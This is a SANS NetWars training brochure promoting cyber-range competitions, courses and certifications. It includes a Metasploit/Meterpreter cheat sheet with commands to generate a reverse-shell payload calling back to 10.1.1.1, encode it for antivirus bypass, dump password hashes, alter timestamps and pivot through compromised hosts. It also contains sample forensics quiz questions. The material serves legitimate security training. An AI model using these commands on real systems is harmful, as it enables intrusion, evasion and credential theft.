In-Depth, Hands-On InfoSec Skills

Embrace the Challenge

TOURNAMENT | CONTINUOUS | CYBERCITY | COURSES

“Having participated in NetWars Continuous and in NetWars Tournament, I can honestly say that they were the most intellectually challenging and the most enjoyable tests of technical skills in which I have had the privilege to participate.”

- Kees Leune, Adelphi University

sans.org/netwars

For more information about how NetWars can enhance the skills of your team, contact us at netwars@sans.org.
**Why NetWars?**

NetWars provides a forum for security professionals to test and perfect their cyber security skills in a manner that is legal and ethical, facing challenges derived from real-world environments and actual attacks that businesses, governments, and military organizations must deal with every day.

NetWars is designed to help participants develop skills in several critical areas:

- Vulnerability Assessments
- System Hardening
- Malware Analysis
- Digital Forensics
- Incident Response
- Packet Analysis
- Penetration Testing
- Intrusion Detection

**NetWars Comes in Four Forms**

**NetWars Tournament** runs over an intense two-to three-day period, at a SANS training event or hosted onsite at your facilities. Many enterprises, government agencies, and military organizations rely on NetWars Tournament OnSite training to help identify skilled personnel and as part of extensive hands-on skill development.

**NetWars Continuous** allows participants to build their skills on their own time over a four-month period working from their office or home across the Internet. With a whole set of new challenges beyond those included in NetWars Tournament, participants can build their skills and experiment with new techniques in this Internet-accessible cyber range. Also, NetWars Continuous supports a unique Automated Hint System that turns dead ends into learning opportunities.

**The NetWars Courses**

**SEC561: Intense Hands-on Pen Testing Skill Development** is six days of hands-on intensive learning, featuring 80% lab and exercise time and 20% debriefings to keep the lessons focused on practical keyboard technical skills. **SEC562: CyberCity Hands-on Kinetic Cyber Range Exercise** includes over 80% of course time devoted directly to hands-on labs to help participants build real keyboard skills quickly, powered by the SANS NetWars engine and using the SANS CyberCity physical cyber range. These offerings are designed to quickly enhance an individual’s skills across a wide variety of different information security disciplines.

**NetWars CyberCity**, our most in-depth and ambitious offering, is designed to teach warriors and infosec pros that cyber action can have significant kinetic impact in the real world. With its 1:87 scale miniaturized physical city that features SCADA-controlled electrical power, water, transit, hospital, bank, retail, and residential infrastructures, CyberCity engages cyber defenders to protect the city’s components.

“I thought NetWars was way more challenging than a real hacking environment. My folks unanimously said it is the best training they ever had. They aren’t newbies, so quite a compliment to your product.”

- Felecia Vlahos, SDSU
### Physical Range vs. Cyber Range

#### PHYSICAL RANGE

**TRAINING**
- Practice individual marksmanship
- Gain familiarity with individual weapons and comfort with live ammunition
- Train to operate as a part of a small team
- Operate as a part of a brigade combat team with integrated fires from air force close air support, naval gun fire, field artillery, and small arms

**ASSESSMENT**
- Assess an individual’s marksmanship skills
- Evaluate a small team’s live-fire capability
- Assess the skills of a brigade combat team to conduct combined arms operations

#### NETWARS – A CYBER RANGE

**TRAINING**
- Practice individual network penetration testing skills
- Practice individual application security penetration testing skills
- Gain familiarity with wireless penetration testing skills
- Conduct computer forensics operations
- Manage actual system hardening
- Conduct actual malware analysis
- CyberCity: Learn how to use cyber skills to have significant kinetic impact
- CyberCity: Wield computer and network skills to protect power grid, water, and other infrastructures

**ASSESSMENT**
- Assess an individual’s aptitude for cyber-related activities
- Measure an individual’s ability to conduct various types of penetration tests
- Assess an individual’s ability to conduct malware analysis
- Evaluate a team’s ability to ensure information integrity during a cyber attack
- CyberCity: Analyze a team’s ability to prevent kinetic damage in a city environment
- CyberCity: Measure cyber warriors’ ability to achieve kinetic mission objectives, from initial intel through ultimate impact

---

**NetWars Challenge Coin**

The top-scoring participants of the NetWars course and tournament will receive the NetWars Challenge Coin. This unique coin indicates the great skill and capabilities of its holder, and his or her inclusion in a rather exclusive group of talented individuals. Additionally, the NetWars coin includes a custom cipher on its back that is part of an even larger challenge.

---

**HR Assessment Tool**

Many organizations utilize NetWars as a human-resources tool to evaluate new recruits to determine their background and appropriate skill sets for various information security jobs. Additionally, HR groups use NetWars to evaluate whether existing personnel may have particular skills that the organization can better utilize. Furthermore, organizations are increasingly using NetWars as a practice range to keep their top-skilled employees fresh on the latest techniques.
Core NetWars is a computer and network security challenge designed to test a participant’s experience and skills in a safe, controlled environment while having a little fun with your fellow IT security professionals. Many enterprises, government agencies, and military bases are using NetWars OnSites to help identify skilled personnel and as part of extensive hands-on training. With Core NetWars, you’ll build a wide variety of skills while having a great time.

Who Should Attend:
- Digital Forensic Analysts
- Forensic Examiners
- Malware Analysts
- Incident Responders
- Law Enforcement Officers, Federal Agents, and Detectives
- Security Operations Center (SOC) staff members
- Cyber Crime Investigators

Learn more at sans.org/netwars
SANS DFIR NetWars Tournament is an incident simulator packed with a vast amount of forensic and incident response challenges, for individual or team-based “firefights.” It is developed by incident responders and forensic analysts who use these skills daily to stop data breaches and solve complex crimes. DFIR NetWars Tournament allows each player to progress through multiple skill levels of increasing difficulty, learning first-hand how to solve key challenges they might experience during a serious incident. DFIR NetWars Tournament enables players to learn and sharpen new skills prior to being involved in a real incident.

Challenge yourself before the enemy does –

SANS DFIR NetWars Tournament

“Whether a DFIR newbie or a veteran examiner, DFIR NetWars will make you better by identifying weaknesses and fine-tuning skill sets.”
— Brad Garnett, Kemper CPA Group LLP

Who Should Attend:
- Digital Forensic Analysts
- Forensic Examiners
- Malware Analysts
- Incident Responders
- Law Enforcement Officers, Federal Agents, and Detectives
- Security Operations Center (SOC) staff members
- Cyber Crime Investigators

DFIR NetWars Tournament Topics:
- Digital Forensics
- Incident Response
- Malware Analysis
- Host Forensics
- File and Packet Analysis
- Memory Analysis

Question 12a - (15 pts)
Analyze the Java Attack that occurred on 02 Apr 2012 around 20:32:52 EDT. The user clicked on a link to http://bit.ly/GEUQQ.

Using only local data, determine the exact server that the system connected to and SHA1 the answer in ALL CAPS in the following format (SERVER/VERSION#).

Example Server: IIS/5.0 or APACHE/2.0.0

- Convert to SHA1

Question 12b - (10 pts)
Analyze the Java Attack that occurred on 02 Apr 2012 around 20:32:52 EDT. The user clicked on a link to http://bit.ly/GEUQQ.

What date and time was the exploit "last modified" on the remote webserver?

- Convert to SHA1

Question 13a - (5 pts)
According to Shellbags of Vibrinium user, when was this folder opened C:\Documents and Settings\dungan\My Documents\Backstopped Accounts - R&D Costs Ally Research?

- Convert to SHA1

SANS DFIR NetWars

Learn more at sans.org/netwars
How NetWars Works

At the outset of the challenge, each player must find hidden keys within a special image downloaded from the Internet and then use those keys to enter an online environment where knowledge of security vulnerabilities, their exploits, and their associated defenses can be turned into points.

NetWars has five separate levels, so players may quickly advance through earlier levels to their level of expertise. The entire challenge involves all five levels.

Levels:

1) Played on CD image (Lin or Win), no superuser privs granted

2) Played on CD image (Lin or Win) with superuser

3) Played across the Internet, attacking DMZ

4) Played across the Internet, attacking internal network from DMZ

5) Played across the Internet, attacking other players’ castles and defending your own

Scoring

A comprehensive score card is generated for each player at the conclusion of the NetWars challenge. This detailed assessment illustrates the areas where participants have demonstrated skills and highlights other areas where skills can be refined or built.

Scoreboard

- Scoreboard shows progress in real time
- Great challenge-at-a-glance view, depicting:
  - Challenges conquered - Territory still available - Momentum and rank
  - Time since last score
  - Changes in rank highlighted with animation
  - Major accomplishments noted with graphical badges
  - Participant accuracy stats also included

Benefits for Individuals

If you are a self-motivated security professional who really wants to put your knowledge to the test, then NetWars is an excellent opportunity for you to have fun and learn in a competition with other security professionals, practicing real-world tactics that could happen at any time.

- The detailed score card is an incomparable opportunity for you to analyze your security knowledge and decide in what other areas you would like to learn new skills or refine your existing ones.
- Demonstrate your experience to other security professionals.
- Stay on top of the latest attacks and see what your competition is doing.
- Participants that reach Level 3 of NetWars Continuous will be eligible to receive 12 CPE credits towards GIAC certification renewal.

Benefits for Organizations

How would your security team handle a real attack? Do they have the right skills and knowledge to defend vital systems? The NetWars simulation lets you see how your organization would react during an attack, but without the consequences.

- Test the experience and skills of your current security team and assess areas where further training is needed.
- Evaluate the experience of potential new hires.
- Use the score card to create a customized training program for your security personnel.

sans.org/netwars
To be a top pen test professional, you need fantastic hands-on skills for finding, exploiting, and resolving vulnerabilities. SANS top instructors engineered SANS SEC561: Intense Hands-on Pen Testing Skill Development from the ground up to help you get good fast. The course teaches in-depth security capabilities through 80%+ hands-on exercises and labs, maximizing keyboard time on in-class labs making this SANS’ most hands-on course ever. With over 30 hours of intense labs, students experience a leap in their capabilities, as they come out equipped with the practical hands-on skills needed to address today’s pen test and vulnerability assessment projects in enterprise environments.

To get the most out of this course, students should have some prior hands-on vulnerability assessment or penetration testing experience (minimum 6 months) or have taken at least one other penetration testing course (such as SANS SEC504, SEC560, or SEC542). The course will build on that background, helping participants ramp up their skills even further across a broad range of penetration testing disciplines.

Throughout the course, an expert instructor coaches students as they work their way through solving increasingly demanding real-world information security scenarios that they can apply the day that they get back to their jobs.

Topics addressed in the course include:
- Applying network scanning and vulnerability assessment tools to effectively map out networks and prioritize discovered vulnerabilities for effective remediation
- Manipulating common network protocols to reconfigure internal network traffic patterns, as well as defenses against such attacks
- Analyzing Windows and Linux systems for weaknesses using the latest enterprise management capabilities of the operating systems, including the super powerful Windows Remote Management (WinRM) tools
- Applying cutting-edge password analysis tools to identify weak authentication controls leading to unauthorized server access
- Scouring through web applications and mobile systems to identify and exploit devastating developer flaws
- Evading Anti-Virus tools and bypassing Windows UAC to understand and defend against these advanced techniques
- Honing phishing skills to evaluate the effectiveness of employee awareness initiatives and your organization’s exposure to one of the most damaging attack vectors widely used today

Who Should Attend
- Security professionals who want to expand their hands-on technical skills in new analysis areas such as packet analysis, digital forensics, vulnerability assessment, system hardening, and penetration testing
- Systems and network administrators who want to gain hands-on experience in information security skills to become better administrators
- Incident response analysts who want to better understand system attack and defense techniques
- Forensic analysts who need to improve their analysis through experience with real-world attacks
- Penetration testers seeking to gain practical hands-on experience for use in their own assessments

Topics addressed in the course include:
- Understanding how cyber infrastructures control and impact kinetic infrastructures
- Analyzing a variety of industrial protocols, including Modbus, CIP, DNP3, Profinet, and other SCADA-related protocols
- Rapidly prototyping computer attack tools against specific vulnerabilities
- Analyzing security flaws in a variety of SCADA and Industrial Control Systems (ICSs)
- Penetration testing experience with kinetic infrastructures
NetWars CyberCity, our most in-depth and ambitious offering, is designed to teach warriors and infosec pros that cyber action can have significant kinetic impact in the real world. CyberCity training is based on a team approach with teams of 5 cyber operators that work together to achieve mission goals. With its 1:87 scale miniaturized physical city that features SCADA-controlled electrical power, water, transit, hospital, bank, retail, and residential infrastructures, CyberCity engages cyber defenders to protect the city’s components. Over 18 realistic defensive missions have been created that will test a cyber warrior’s ability to thwart the best efforts of a well-funded terrorist organization or other cyber attacker trying to harm the city.

The main objectives of CyberCity are to:
- Teach cyber warriors and their leaders the potential kinetic impacts of cyber attacks
- Provide a hands-on, realistic cyber range with engaging missions to conduct defensive and offensive missions
- Demonstrate to senior leaders the potential impacts of cyber attacks and cyber warfare

CyberCity Missions:

**Kinetic Reconnaissance & Differentiation:** Mission participants must gain access to all five cameras in CyberCity so that they can view kinetic actions from the satellite, commercial, industrial, residential, and military cameras.

**Power Grid:** Attackers have hacked the power grid causing a blackout. Mission participants must gain control of power computers and the associated Industrial Control Systems to turn the lights back on.

**Water Reservoir:** Participants prevent contamination of the water reservoir by ensuring the integrity of the data in the SCADA System, Data Historian, and Human Machine Interface (HMI).

**Missile Launcher:** Mission participants must prevent the launching of the missile at the commercial sector of the city by gaining control of it and aiming it to fire harmlessly over the horizon.

**Coffee Shop/Hospital:** Attackers have used the coffee shop’s free WiFi to gain control of a laptop belonging to a doctor who has VPN’ed into the hospital, so that the attackers can manipulate the prescription medication of a patient. Mission participants are tasked with preventing this from happening.

**Bank Alarm System:** Cyber warriors must gain control of the bank’s alarm system to prevent a catastrophe, with the alarm status indicated by the color of the light in the bank (blue = active alarm, red = disabled alarm).

**Traffic Lights:** Mission participants must access the traffic system to facilitate extraction of sensitive personnel from a critical zone inside of CyberCity.

**Landing Strip Denial of Service:** Attackers have launched a denial of service attack that results in the lights on the landing strip of the military quadrant to be disabled. Mission participants must fight through the denial of service to get the landing strip lights back on.

**Network Reconnaissance:** In this mission, participants must use CyberCity assets to gain information about about potential attacker activity by combing through the CyberCity social networking site and analyzing detailed evidence. Through exploring posts by CyberCity citizens, cyber warriors will be able to discern details of their relationships and interactions, as well as the technical infrastructure of CyberCity.
**Tools Described on this Sheet**

**Metasploit**
The Metasploit Framework is a platform for developing and using security tools and exploits.

**Metasploit Meterpreter**
The Meterpreter is a payload within the Metasploit Framework which provides control over an exploited target system, running as a DLL loaded inside any process on a target machine.

**Metasploit msfpayload**
The msfpayload tool is component of the Metasploit Framework which allows the user to generate a standalone version of any payload within the framework. Payloads can be generated in a variety of formats including executable, Perl script, and raw shellcode.

**Metasploit Console Basics (msfconsole)**

Search for module:
```
msf > search [regex]
```
Show options for the current modules:
```
msf > show options
```
Specify and exploit to use:
```
msf > use exploit/[ExploitPath]
```
Set options:
```
msf > set [Option] [Value]
```
Specify a payload to use:
```
msf > set PAYLOAD [PayloadPath]
```
Start exploit:
```
msf > exploit
```

**Useful Auxiliary Modules**

**Port Scanner:**
```
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run
```

**DNS Enumeration**
```
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run
```

**FTP Server**
```
msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run
```

**Proxy Server**
```
msf > use auxiliary/server/socks4
msf > run
```
Any proxied traffic that matches the subnet of a route will be routed through the session specified by route.

Use proxychains configured for socks4 to route any application's traffic through a Meterpreter session.

**Base Commands:**
- `? / help`: Display a summary of commands
- `exit / quit`: Exit the Meterpreter session
- `sysinfo`: Show the system name and OS type
- `shutdown / reboot`: Self-explanatory

**File System Commands:**
- `cd`: Change directory
- `lcd`: Change directory on local (attacker's) machine
- `pwd / getwd`: Display current working directory
- `ls`: Show the contents of the directory
- `cat`: Display the contents of a file on screen
- `download / upload`: Move files to/from the target machine
- `mkdir / rmdir`: Make / remove directory
- `edit`: Open a file in the default editor (typically vi)

**Process Commands:**
- `getpid`: Display the process ID that Meterpreter is running inside
- `getuid`: Display the user ID that Meterpreter is running with
- `ps`: Display process list
- `kill`: Terminate a process given its process ID
- `execute`: Run a given program with the privileges of the process the Meterpreter is loaded in
- `migrate`: Jump to a given destination process ID
  - Target process must have same or lesser privileges
  - Target process may be a more stable process
  - When inside a process, can access any files that process has a lock on

**Network Commands:**
- `ipconfig`: Show network interface information
- `portfwd`: Forward packets through TCP session
- `route`: Manage/view the system's routing table

**Misc Commands:**
- `idletime`: Display the duration that the GUI of the target machine has been idle
- `uictl [enable/disable] [keyboard/mouse]`: Enable/disable either the mouse or keyboard of the target machine
- `screenshot`: Save as an image a screenshot of the target machine

**Additional Modules:**
```
use [module]: Load the specified module
```
Example:
```
use priv: Load the priv module
hashdump: Dump the hashes from the box
timestomp: Alter NTFS file timestamps
```

**sans.org/netwars**
Managing Sessions

**Multiple Exploitation:**
Run the exploit expecting a single session that is immediately backgrounded:
```
msf > exploit -z
```
Run the exploit in the background expecting one or more sessions that are immediately backgrounded:
```
msf > exploit -j
```
List all current jobs (usually exploit listeners):
```
msf > jobs -l
```
Kill a job:
```
msf > jobs -k [JobID]
```

**Multiple Sessions:**
List all backgrounded sessions:
```
msf > sessions -l
```
Interact with a backgrounded sessions:
```
msf > session -i [SessionID]
```
Background the current interactive session:
```
meterpreter > <Ctrl+Z>
```
or
```
meterpreter > background
```

**Routing Through Sessions:**
All modules (exploits/post/aux) against the target subnet mask will be pivoted through this session.
```
msf > route add [Subnet to Route To] [Subnet Netmask] [SessionID]
```

---

msfpayload

The msfpayload tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files. Run by itself gives a list of payloads.
```
$ msfpayload [ExploitPath] LHOST=[LocalHost (if reverse conn.)] LPORT=[LocalPort] [ExportType]
```

**Example**
Reverse Meterpreter payload as an executable and redirected into a file:
```
$ msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 X > met.exe
```

**Export Types**
- `S` – Print out a summary of the specified options
- `X` – Executable
- `P` – Perl
- `Y` – Ruby
- `R` – Raw shellcode
- `C` – C code

**Encoding Payloads with msfencode**
The msfencode tool can be used to apply a level of encoding for anti-virus bypass. Run with `-l` gives a list of encoders.
```
$ msfencode -e [Encoder] -t [OutputType (exe, perl, ruby, raw, c)] -c [EncodeCount] -o [OutputFilename]
```

**Example**
Encode a payload from msfpayload 5 times using shikata-ga-nai encoder and output as executable:
```
$ msfpayload [...] R | msfencode -c 5 -e x86/shikata_ga_nai -t exe -o mal.exe
```

---

Meterpreter Post Modules

With an available Meterpreter session, post modules can be run on the target machine.

**Post Modules from Meterpreter**
```
meterpreter > run post/multi/gather/env
```

**Post Modules on a Backgrounded Session**
```
msf > use post/windows/gather/hashdump
msf > show options
msf > set SESSION 1
msf > run
```
NetWars – FAQ

What is the difference between Core NetWars and DFIR NetWars?

Core NetWars covers all aspects of IT security, while DFIR NetWars concentrates on digital forensics. Core NetWars includes topics on vulnerability assessment, penetration testing, incident response, system hardening, malware analysis, and digital forensics. DFIR NetWars covers host forensics, network forensics, and malware & memory analysis.

I’m new to the industry. Will I be overwhelmed by NetWars?

We designed NetWars so that entry-level players can hone their skills. The environment includes five levels that progressively increase in difficulty. No matter your skill level, anyone can jump right in and begin answering questions at Level 1.

I’m a seasoned InfoSec pro. Will this challenge me?

We designed NetWars so grand masters of InfoSec can quickly advance through earlier levels and find more complex scenarios and target infrastructures to analyze and attack. The in-depth challenges of Levels 3 and beyond will let you demonstrate your awesome abilities and possibly even challenge you to take your skills to the next level.

What if I get stumped? What if I crash and burn?

Getting stumped is no big deal. If NetWars was only about solving easy challenges, it wouldn’t be very valuable. When you reach a problem you can’t solve, NetWars becomes a learning environment for you to pick up new techniques and get exposed to new tools in an environment optimally set up for you to do so.

“I have to say, NetWars Continuous is awesome! It takes a lot of energy and discipline to keep bashing away at the challenges, but it’s worth it. I’ve learned much more than I would have in a short competition – the extra time to experiment and research attacks and defenses is invaluable. It also forced me to document my work as I went along, which is good training for the real world.”

John York, BRCC
How Are You Protecting Your

Data?

Network?

Systems?

Critical Infrastructure?

Risk management is a top priority. The security of these assets depends on the skills and knowledge of your security team. Don’t take chances with a one-size fits all security certification.

Get GIAC certified!

GIAC offers over 26 specialized certifications in security, forensics, penetration testing, web application security, IT audit, management, and IT security law.

Learn more about GIAC and how to Get Certified at www.giac.org

NetWars Tournament participants receive 6 CPEs and NetWars Continuous participants who reach Level Three receive 12 CPEs.

NetWars is part of the MSISM & MSISE Core. In order to meet the requirement, the STI student must obtain 1/3 or more of the points in Level Three.

Learn more at sans.edu info@sans.edu

NETWARS T20

MAKE YOUR NEXT MOVE COUNT

EARN A RESPECTED GRADUATE DEGREE

Master’s Degree Programs:

> M.S. in Information Security Engineering
> M.S. in Information Security Management

Specialized Graduate Certificates:

> Penetration Testing & Ethical Hacking
> Incident Response
> Cybersecurity Engineering (Core)

Top Reasons Students Choose SANS Graduate Programs:

• World-class, cutting-edge technical courses that refine and specialize your skills
• Teaching faculty with an unparalleled reputation for industry leadership who bring the material to life
• Simulation and group projects that teach students to write, present, and persuade effectively
• Validation from multiple GIAC certifications even before you earn your degree
• Flexibility to attend courses when and where you need them, either live in classrooms or online from home or work
• A reputation that helps accelerate career growth—employers will recognize and respect a master’s degree from SANS

SANS Technology Institute, an independent subsidiary of SANS, is accredited by The Middle States Commission on Higher Education, 3424 Market Street | Philadelphia, PA 19104 | 267.285.5000
an institutional accrediting agency recognized by the U.S. Secretary of Education and the Council for Higher Education Accreditation.
What is NetWars?

SANS NetWars is a hands-on, interactive learning environment that enables information security professionals to develop and master the skills they need to excel in their field.

NetWars comes in four forms:

- **NetWars Tournament** runs over an intense two- to three-day period at a SANS training event or hosted onsite.

- **NetWars Continuous** allows participants to build their skills on their own time over a four-month period working from their office or home across the Internet.

- **NetWars CyberCity** is a 1:87 scale city with power, water, transit, hospital, bank, retail, and residential infrastructures designed to help train specific organizations with missions critical to defending our country’s critical infrastructure.

- **NetWars Courses** SEC561: Intense Hands-on Pen Testing Skill Development & SEC562: CyberCity Hands-on Kinetic Cyber Range Exercise

www.sans.org/info/106694